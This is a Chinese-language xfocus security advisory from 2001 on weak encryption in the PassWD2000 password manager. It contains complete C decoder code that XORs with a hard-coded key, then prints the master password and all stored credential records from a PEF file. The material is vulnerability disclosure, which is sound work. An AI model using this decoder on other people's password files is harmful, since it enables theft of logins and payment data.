xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

PassWD 2000 存在加密不强壮问题


发布时间:2001-06-08
更新时间:2001-06-08
严重程度:
威胁程度:口令恢复
错误类型:设计错误
利用方式:服务器模式

受影响系统
PassWD PassWD2000 2.8
   - Microsoft Windows ME
   - Microsoft Windows 98se
   - Microsoft Windows 98
   - Microsoft Windows 95
   - Microsoft Windows NT 4.0
   - Microsoft Windows 2000
PassWD PassWD2000 2.7
PassWD PassWD2000 2.6
PassWD PassWD2000 2.5
PassWD PassWD2000 2.0
详细描述
PassWD2000是设计用来储存敏感数据如登陆信息,注册信息和信用卡信息。
PassWD2000对信息的加密使用了简单的算法和存储会话KEY用来加密操作,
因为会话KEY使用了固定的KEY来进行加密,所以可以比较方便的恢复数据。

测试代码
/*
* Decoder for PassWD2000 v2.x password files in PEF format
*
* Written 2001 by Daniel Roethlisberger <daniel@roe.ch>
*
* This code is hereby placed in the public domain.
* Use this code at your own risk for whatever you want.
*
* This code has grown with my knowledge about the data
* format, thus it is quite a bit messy and ugly indeed.
*/

#include <stdio.h>
#include <sys/stat.h>

const unsigned char key[16] = {
0x0A, 0x0C, 0x4D, 0x1E, 0x01, 0x4F, 0x03, 0x06,
0x5F, 0x64, 0x96, 0xC8, 0xFA, 0x11, 0x0D, 0x47};

#define leave(x) {\
fprintf(stderr, "%s: " x "\n", basename(argv[0]));\
exit(1);\
}
#define leaveheader() {\
free(buf);\
leave("header inconsistency");\
}

int main(int argc, char *argv[])
{
FILE* infile;
unsigned char *buf;
struct stat st;
int buflen;
int offset, i, count;
int hdrlen, pwlen, reclen, recnum;

if(argc != 2)
leave("only argument must be file to decode");

infile = fopen(argv[1], "r");
if(!infile)
leave("cannot open file");

stat(argv[1], &st);
buflen = st.st_size;
buf = (unsigned char*) malloc(buflen);
if(!buf)
leave("out of memory");
fread(buf, 1, buflen, infile);
fclose(infile);
printf("[%s]\n", argv[1]);

if(buflen < 0x1D) /* minimal empty header */
leaveheader();

offset = 0;

/* decode 128bit session key */
printf("Session key: ");
for(i = 0; i < 0x10; i++)
{
buf[i] ^= key[i];
printf("%.2X ", buf[i]);
}
printf("\n");
offset += i;

/* decode header ... */

/* always seems to be '0' */
buf[offset] ^= buf[(offset++)%0x10];
printf("Unknown pre-header byte: %c (should be 0)\n", buf[offset-1]);

/* header length ... */
buf[offset] ^= buf[(offset++)%0x10];
buf[offset] ^= buf[(offset++)%0x10];
hdrlen = (buf[offset-2] - '0') * 10 + buf[offset-1] - '0';
printf("Header length: %i\n", hdrlen);

/* always seems to be '2U00' */
printf("Unknown header bytes: ");
for(i = 0; i < 4; i++)
{
buf[offset+i] ^= buf[(offset+i)%0x10];
printf("%c" , buf[offset+i]);
}
printf(" (should be 2U00)\n");
offset += i;

/* password status ... */
buf[offset] ^= buf[(offset++)%0x10];
printf("Password protection: %s\n", (buf[offset-1] == '1') ? "enabled" : "disabled");

/* password ... */
for(i = 0; i < 2; i++)
buf[offset+i] ^= buf[(offset+i)%0x10];
offset += i;
pwlen = (buf[offset-2] - '0') * 10 + (buf[offset-1] - '0');
if(pwlen > 30)
leaveheader();
printf("Master password: ");
for(i = 0; i < pwlen; i++)
{
buf[offset+i] ^= buf[(offset+i)%0x10];
printf("%c", buf[offset+i]);
}
printf(" (%i)\n", pwlen);
offset += i;

/* number of records ... */
buf[offset] ^= buf[(offset++)%0x10];
reclen = buf[offset-1] - '0';
for(i = 0; i < reclen; i++)
buf[offset+i] ^= buf[(offset+i)%0x10];
offset += i;
recnum = 0;
for(i = reclen; i > 0; --i)
recnum = (10 * recnum) + buf[offset-i] - '0';
printf("Number of records: %i\n", recnum);

/* header checksum ... */
buf[offset] ^= buf[(offset++)%0x10];
printf("Header checksum: 0x%.2X\n", buf[offset-1]);

/* and records. */
for(i = 0; i < (buflen - offset); i++)
buf[offset+i] ^= buf[i%0x10];

if(0x14 + hdrlen != offset)
printf("Warning: hdrlen mismatch (%i != %i)!\n", hdrlen+0x14, offset);

if(recnum > 0)
{
count = 0;
printf("Records: [desc - user:pass@URL (date)]\n");
for(i = 0x14 + hdrlen; i < buflen; i++)
{
if(buf[i] == '\r')
switch((count++)%10)
{
case 0: printf(" - "); break;
case 1: printf(":"); break;
case 2: printf("@"); break;
case 3: printf(" ("); break;
case 4: printf(")"); break;
case 9: printf("\n"); break;
}
else
printf("%c", buf[i]);
}
}

free(buf);
return 0;
}

解决方案
尚无

相关信息